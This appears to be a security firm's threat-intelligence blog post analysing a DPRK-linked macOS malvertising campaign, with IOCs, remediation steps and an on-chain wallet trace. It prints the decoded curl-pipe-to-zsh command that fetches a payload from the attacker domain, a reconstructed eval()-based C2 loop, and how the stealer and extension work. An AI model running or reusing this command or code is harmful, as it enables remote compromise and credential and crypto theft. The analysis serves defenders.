HomeBlogClickFix, EtherHiding & a DPRK Wallet Trail
Threat IntelligenceMalware AnalysisBlockchain ForensicsmacOS

ClickFix, EtherHiding & a DPRK Wallet Trail

A fake macOS "update" screen convinced a victim to paste one command into Terminal, installing a Node.js backdoor that takes its orders from an Ethereum smart contract. We reverse-engineered every stage, then followed the money on-chain.

Christian PapathanasiouChristian Papathanasiou
18 min readStatic & on-chain analysis

Verdict: Confirmed Nation-State Crypto-Theft Operation

TTPs match DPRK / UNC5342 "Contagious Interview" using the EtherHiding technique: command-and-control configuration stored on the Ethereum blockchain. The campaign chains a ClickFix lure → a Node.js RAT → an infostealer and a malicious Chrome extension → a professionalised laundering pipeline. Primary objective: theft of cryptocurrency and developer credentials from macOS users.

Executive summary

A routine web search for security research led to the discovery of a sophisticated macOS malvertising campaign combining ClickFix-style social engineering, blockchain-hosted command-and-control, browser-extension hijacking, and crypto-theft infrastructure.

Key findings

  • The lure is a browser trick, not a real update. A full-screen fake macOS "update / reboot" page silently copies an attack command to the clipboard and tells the victim to paste it into Terminal. Nothing is compromised unless that command is run.
  • The experience is designed to induce panic. The computer appears frozen or rebooting, so a user who believes the OS has failed follows instructions they would otherwise find suspicious.
  • Command-and-control lives on a blockchain. The malware reads its live C2 address from an Ethereum smart contract, a takedown-resistant technique known as EtherHiding.
  • The clipboard is weaponised before the user understands what happened: the command is already waiting by the time the page says to paste.
  • Full remote code execution: the implant polls its C2 and runs attacker-supplied JavaScript via eval(), then pulls two payloads: a 157-wallet infostealer and a malicious Chrome extension.
  • We followed the money. The two on-chain addresses are configuration contracts, not wallets. The wallets that deployed and funded them trace up to withdrawals from KuCoin and Binance, including 464.80 ETH (about $890,000) pushed one way into the attacker treasury across 281 transfers.
  • Two campaigns, funded separately. Each side runs its own funding chain built from the same four-step deployment script. We found no shared counterparty tying the two funders together, so we do not claim a single operator.
157
Crypto wallets targeted
2
On-chain C2 contracts
464.80 ETH
Exchange funding into the attacker treasury
~5 min
C2 beacon interval

1Sequence of events

The incident began innocuously. While performing routine incident-response research for one of our customers, the author clicked a search result for a target company. Immediately after the website opened, the browser displayed what appeared to be a full-screen macOS reboot or update sequence. The page blocked normal interaction and created the impression that the computer itself had crashed or was restarting.

It had not.

Fake full-screen macOS 'Installing System Update' screen rendered inside the browser
The browser-rendered fake macOS "Installing System Update" screen. No update is running; the page simply fills the viewport to imitate a system reboot.

The "reboot" was the result of a malvertising ad on the website, invoking a browser-based illusion designed to create urgency and panic. After the fake update sequence completed, the page instructed the user to open Terminal and paste a command, one that had already been silently copied to the clipboard by the webpage.

Single-use activation. The malvertising activation was apparently single-use: attempts to reactivate the same sequence on the same page did not succeed. The images shown here are therefore for illustrative purposes.

Fake 'Critical Security Update Required' overlay with a 'Copy Verification Code' button, alongside a Terminal window showing the pasted base64 command piped to zsh
The ClickFix lure: a fake "Critical Security Update Required" overlay with a "Copy Verification Code" button, and the Terminal window where the victim is told to paste the clipboard payload into zsh.

We recognised the behaviour as suspicious, captured the command instead of executing it, and began working backward through the payload chain. The resulting analysis showed the attack was closely aligned with the fake-job malware activity associated with DPRK-linked operators (described in a previous AllSecure research blog post), but with an important operational evolution: instead of relying on a conventional website or hard-coded server for command-and-control, the malware stored live C2 configuration inside Ethereum smart contracts.

AllSecure reverse-engineered the stages of the attack, recovered the malware components, identified a Node.js backdoor, analysed the infostealer and malicious Chrome extension, and followed the supporting wallet infrastructure on-chain. The investigation links the malware to a North-Korean-linked crypto-theft operation and a laundering network connected to withdrawals from mainstream exchanges.

2Why this case matters

This case is notable because the initial lure was not a suspicious job offer, a malicious attachment, or an obviously targeted message. It began with a normal web search.

Ordinary browsing, not a targeted lure

The victim was researching biotechnology equipment (searching for electrophoresis machines) and clicked what looked like a legitimate result. ClickFix attacks can move beyond targeted developer-recruitment lures into ordinary browsing contexts.

C2 that can't be taken down

Ethereum smart contracts act as resilient command-and-control. There is no registrar or host that can remove the C2 configuration once it is written on-chain; operators rotate infrastructure by writing new values while infected hosts fetch the latest config via public RPC providers.

Backdoor, drainer & money, one ecosystem

The malware installs persistence, enables remote code execution, steals wallet and browser data, and silently sideloads a Chrome extension. The backdoor, the browser-extension drainer, and the money trail are operationally connected.

Together these elements show a mature, financially motivated threat operation: social engineering at the browser layer, malware execution at the endpoint layer, command-and-control at the blockchain layer, and laundering at the financial layer.

From our research bench to the wild: HITB 2021

Five years ago at Hack In The Box Cyber Week 2021, Christian Papathanasiou presented "Malicious Contracts", research showing how Ethereum smart contracts could be weaponised as resilient, origin-obscuring command-and-control that no registrar or host can take down. What was a research concept then is now live nation-state tradecraft: the DPRK uses precisely this technique (EtherHiding) to run live malware C2 in the wild.

HITB CyberWeek 2021 slide for the talk 'Malicious Contracts: Towards the Development of a Fully Anonymous Smart Contract Powered Rootkit' by Christian Papathanasiou
▶ youtube.com/watch?v=1ZDEjXuYNXk · "Malicious Contracts", HITBCW 2021

3The lure: "ClickFix" social engineering

The entry point is a malvertising / injected-script chain that ends with the victim being tricked into running the payload themselves. In the observed case the browsing path began with legitimate research into CRISPR and laboratory equipment: the user searched for electrophoresis machines and clicked a result for a company that appeared to sell them. The malicious experience began immediately after the page loaded, creating a fake system-level emergency and shifting responsibility for execution to the user.

Attack-flow diagram: malicious ad, fake macOS update overlay, clipboard hijack and paste-to-Terminal feeding a Node.js backdoor, EtherHiding C2 on an Ethereum smart contract, and the infostealer and malicious-extension modules
End-to-end attack flow: ClickFix lure → Node.js backdoor (RAT v1.0.3) → EtherHiding C2 on an Ethereum smart contract → infostealer and malicious Chrome extension.
  1. 1Malicious ad / injected script. Reported entry is a Google Ad click or search-driven browsing path leading to a compromised page carrying an overlay script.
  2. 2Fake update overlay. A full-window page mimics a macOS "updates required / restart" screen, capturing the whole viewport and blocking normal browser interaction.
  3. 3User lock-in effect. The page creates the appearance that the device itself is rebooting or frozen, making the event feel local and urgent rather than like a suspicious webpage.
  4. 4Clipboard hijack. The page silently writes the attack command to the clipboard before the user is told to paste anything.
  5. 5Paste-to-Terminal instruction. The victim is told to open Terminal and press ⌘-V then Return. The pasted text is a base64 blob that decodes and relays the real command.

Decoded stage-0 command (delivered via clipboard)

# base64 decodes to:
curl -ksfL https://real-tumble.pro/zpXxnS8xemq | zsh & disown

The only point of danger is Terminal. There is no real update and no real reboot; it is a webpage. A victim who closes the tab (⌘-Tab / ⌘-Q) without pasting is unaffected. The attack works because it exploits trust in the operating-system interface: a user who believes the computer has crashed may follow instructions that would otherwise look obviously suspicious.

4Stage 2: the blockchain-controlled backdoor

After the command is executed, the dropper installs Node.js if needed and runs an obfuscated ~38 KB Node.js RAT (internally versioned 1.0.3). Rather than relying on a normal web server for static configuration, the malware queries Ethereum smart contracts and retrieves its command-and-control data through public RPC infrastructure. Strings are hidden with a per-function shuffled basE91 alphabet; C2 traffic and the on-chain config are XOR-obfuscated.

On-chain C2 resolution

Calls an Ethereum contract via eth_call across ~20 public RPC endpoints; XOR-decodes the base64 result into { url, key }. Re-resolved at most every 24h, so infrastructure can be rotated on-chain. The contract is not the C2 server itself; it is the attacker-controlled configuration layer that tells the implant where to go next.

Remote code execution

Every ~5 min it POSTs an encrypted check-in and runs any JavaScript the server returns via eval(), returning output/errors over the same encrypted channel, giving full remote code execution once the Terminal command succeeds.

Persistence

A LaunchAgent plist (RunAtLoad+KeepAlive), a hidden line appended to ~/.zshrc, and copies of itself in ~/Library/Caches under randomised names.

Evasion

Disables TLS validation (NODE_TLS_REJECT_UNAUTHORIZED=0), suppresses macOS notifications (kills NotificationCenter), and sleeps ~5 min verifying real wall-clock time to defeat sandboxes.

Reconstructed C2 loop (de-obfuscated, abridged)

// resolve C2 from the Ethereum contract, then beacon forever
for (;;) {
  await refreshC2Config();                 // eth_call -> { url, key }
  const resp = await callServer({ command: 'ping', ...deviceInfo });
  const task = resp.command;               // { id, js } or null
  if (task) {
    const output = await eval('{' + task.js + '}');   // <== remote code execution
    await callServer({ command: 'output', id: task.id, output });
  }
  await sleep(jitter(300000, 5));           // ~5 minutes + jitter
}

5The payloads: steal, then hijack the browser

Each victim is tasked a fixed sequence over the encrypted channel: an infostealer, then a browser-extension hijack, then nothing further. Exfiltration reuses the same C2 channel; there is no separate exfil domain. The campaign is built to monetise access quickly by collecting wallet data, browser secrets, developer credentials, and persistent browser-level visibility.

Module 1: Infostealer (~28 KB)

Harvests 157 cryptocurrency wallets (Exodus, Electrum, Ledger Live, Atomic, Coinomi, Bitcoin Core, 100+ browser-extension wallets).

Reads browser secrets read-only via node:sqlite: saved passwords, cookies, history and bookmarks across Chrome, Brave, Edge, Firefox, Opera and Vivaldi.

Grabs developer & cloud keys: .ssh, .gnupg, .aws, .azure, .npmrc, Foundry keystores. A compromised developer workstation can create risk well beyond the individual victim.

Module 2: Malicious Chrome extension (~1.25 MB)

Plants an MV3 extension disguised as "Google Drive Offline" by writing into Chrome profiles and patching Chrome's Secure Preferences integrity file so the sideloaded extension is trusted.

Requests debugger, nativeMessaging, cookies, <all_urls> and externally_connectable: https://*/*, enough to read every site, be driven by the operator's website and bridge to the local implant.

Because it is sideloaded silently, the user may never realise the browser has been modified, yet the attacker gains a durable position inside the browsing environment.

6Following the money

Two Ethereum addresses were embedded in the malware. Both turned out to be EtherHiding configuration contracts: byte-identical bytecode, the same getter, and zero balance. Neither holds funds. The embedded addresses were part of the malware's C2 mechanism, not attacker wallets holding stolen money, so to trace value, we pivoted to the wallets that deployed and funded those contracts.

Config contractDecodes to (C2 backend)Role
0x2acA749b…713dF6rg-telemetry.sbs/apiBackdoor C2 config
0x85a6d913…673043th-updates.sbs/analyticsExtension C2 config

Disposable, single-use infrastructure

Each contract was created by a throwaway wallet running an identical four-step script: funded with ~0.0126 ETH, deploy the contract, write the config, forward the leftover ~0.006 ETH onward, then abandon the wallet. The pattern suggests an operator that has industrialised deployment: fund, deploy, configure, drain leftovers, abandon, repeat.

The fund-flow trees

Fund-flow diagram: the A-side backdoor campaign in ETH from the KuCoin 17 hot wallet through the attacker treasury and Funder A to the backdoor C2 config contract, the B-side extension campaign in stablecoins from Binance hot wallets through the stablecoin hub and Funder B to the extension C2 config contract, and separately, outside both chains, the shared laundering and phishing network that the stablecoins move onward into
Following the money: the A-side backdoor campaign (ETH) and the B-side extension campaign (stablecoins), each traced from an exchange withdrawal down to its C2 configuration contract. The shared laundering and phishing network sits deliberately outside both chains: it is separate infrastructure, not part of either deployment path.

What the funding chains do and do not establish. Both deployment chains hold end to end: each throwaway deployer was funded, deployed its contract within fifteen minutes, handed control to a manager wallet, forwarded the change and was abandoned. What the chains do not establish is a single operator behind both campaigns. We found no shared counterparty between Funder A and Funder B, and both manager wallets dead-end after writing their config. Funder B has been active since May 2023 across 89,619 transactions, so it is not campaign-exclusive and carries little attribution weight on its own.

Where the money comes from and where it goes

  • Source of funds: operating capital is seeded by withdrawals from mainstream exchanges. On the backdoor side, the KuCoin 17 hot wallet sent 464.80 ETH, about $890,000, across 281 transfers between 28 May and 30 July 2026, with nothing ever returned. That is roughly 45% of everything the treasury received, and the treasury moved about $1.96M in nine weeks before being drained. The extension side is seeded by Binance USDT withdrawals. The exchange accounts behind those withdrawals are the strongest real-world leads.
  • Cash-out: stablecoins move onward into a shared network whose sinks are tagged Fake_Phishing2114928 by public explorers. That network sits outside this campaign's deployment chain, and its own history is saturated with address-poisoning spam: impostor DAI contracts built from homoglyph symbols, zero-value transfers, and crafted lookalike addresses that mimic real counterparties on both prefix and suffix.

7Attribution

The tradecraft matches the DPRK threat cluster UNC5342 and the "Contagious Interview" campaign publicly documented by Google Threat Intelligence Group, Microsoft and JAMF through 2025–2026. Google was first to observe a nation-state actor adopting EtherHiding.

  • macOS ClickFix fake-update lures
  • Blockchain-hosted C2 via EtherHiding
  • eval-based remote code execution
  • Crypto and credential theft
  • Exchange-funded disposable wallet fleets

The specific domains (rg-telemetry.sbs, th-updates.sbs) and the wallet cluster in this report appear to be fresh infrastructure not yet in public reporting. The delivery context is also worth noting: DPRK-linked campaigns are often described through the lens of fake job interviews and developer recruitment, but this case shows the same operational logic appearing in a broader browsing scenario. That does not replace the fake-job pattern; it expands the threat model.

8Detection & remediation

If a host may have run the command

Treat it as compromised and isolate it. Remove the com.*.plist LaunchAgent, the appended ~/.zshrc block, the ~/Library/Caches/<rand> payloads and the /tmp/<rand> lock.

Rotate every credential from a clean device. Move any crypto assets from a clean device; wallet theft is the primary goal.

Run a reputable scanner (Malwarebytes; Objective-See KnockKnock / BlockBlock).

Detection ideas for defenders

Alert on eth_call traffic to the contract addresses below, and on eth_call issued by non-browser processes such as node running from ~/Library/Caches. Generic eth_call to public RPC is normal on developer and crypto-user endpoints and is not on its own a signal.

Durable IOC: the contract addresses; monitor them for new configs even as domains rotate. eth_call plus those contract addresses is the high-signal pairing to wire into your EDR.

Block the domains above; flag curl … | zsh / | bash one-liners from a browser-adjacent process.

Watch for LaunchAgents spawning node from ~/Library/Caches, Chrome Secure Preferences modified out-of-band, unexpected extensions requesting broad access and debugger permissions, and clipboard-driven Terminal execution following browser activity.

No single control sees the entire chain: the initial infection depends on a webpage writing to the clipboard and persuading the user to paste into Terminal, while the post-compromise phase depends on a local implant, Chrome profile tampering, extension sideloading, and Ethereum RPC traffic. Defenders should correlate browser-originated clipboard activity, Terminal execution of pasted shell commands, public blockchain RPC calls from user endpoints, new or modified LaunchAgents, Node.js execution from unusual cache directories, Chrome Secure Preferences modification, and newly installed high-risk extensions.

User guidance in one line: no legitimate macOS update ever asks you to paste a command into Terminal. If a web page tells you to, close the tab.

9Indicators of compromise

TypeIndicator
Node.js RAT v1.0.3 (SHA-256)529815d365a8ec8da165f3993ada3ad452381b56c736cd25cdf328968b4ab795
Infostealer module (SHA-256)7eca7aef8dcc46f15349509ac3dff8c0a71295c233787872c3842e058f9d7c50
Chrome extension, MV3 (SHA-256)370a5ae7f91291559ce514f44c50430dd2c35ed866bedcf6ac5f4f896259fbed
Delivery domain (stage 0)real-tumble.pro
Backdoor C2https://rg-telemetry.sbs/api
Extension C2https://th-updates.sbs/analytics
Operator RPC API key (hardcoded in RAT)https://eth-mainnet.rpcfast.com?api_key=xbhWBI1Wkguk8SNMu1bvvLurPGLXmgwYeC4S6g2H7WdwFigZSmPWVZRxrskEQwIf
EtherHiding contract (backdoor)0x2acA749b59529f5CBCd6fbd34B35b1A546713dF6
EtherHiding contract (extension)0x85a6d913aaC80286f01Fa082ef0B96C188673043
Contract getter selector0x3bc5de30
C2 traffic XOR keys (not the config key)9f10d0899beff7952f586a49305f8b14 · 2752df77aeb348657f5fb59a22d65f4a
Malicious extension"Google Drive Offline" (MV3; debugger + nativeMessaging + <all_urls>)
Attacker funder wallets0x277765FB63601cE5A9814daf68aA2A57F54eA968 · 0x89c5151236De544d077fC69813A4db89224EE8A1
Attacker treasury / hubs0xdf16a4d0a234a2bbc4d21645d4c7a19d2db8f192 · 0x75ac1ebf164c6f2ac24e73bb4c9518b8d93559e2
Persistence artifacts~/Library/LaunchAgents/com.<rand>.plist · appended ~/.zshrc line · ~/Library/Caches/<rand> · /tmp/<rand> lock
Host tellsNODE_TLS_REJECT_UNAUTHORIZED=0 · stopped NotificationCenter · node running from ~/Library/Caches · developer host issuing eth_call to public ETH RPCs

How AllSecure helps

Blockchain-hosted C2, browser-extension hijacks and exchange-laundered crypto theft don't show up in a signature feed; they show up in behaviour and in the money trail. AllSecure combines endpoint threat intelligence, browser-extension monitoring and on-chain investigation so campaigns like this are caught before the wallet is drained.

Related reading. AllSecure's previous blog post on the Lazarus group's technique: "North Korea Tried to Hack Our CEO Through a Fake Job Interview on LinkedIn."

Back to Blog
Share this post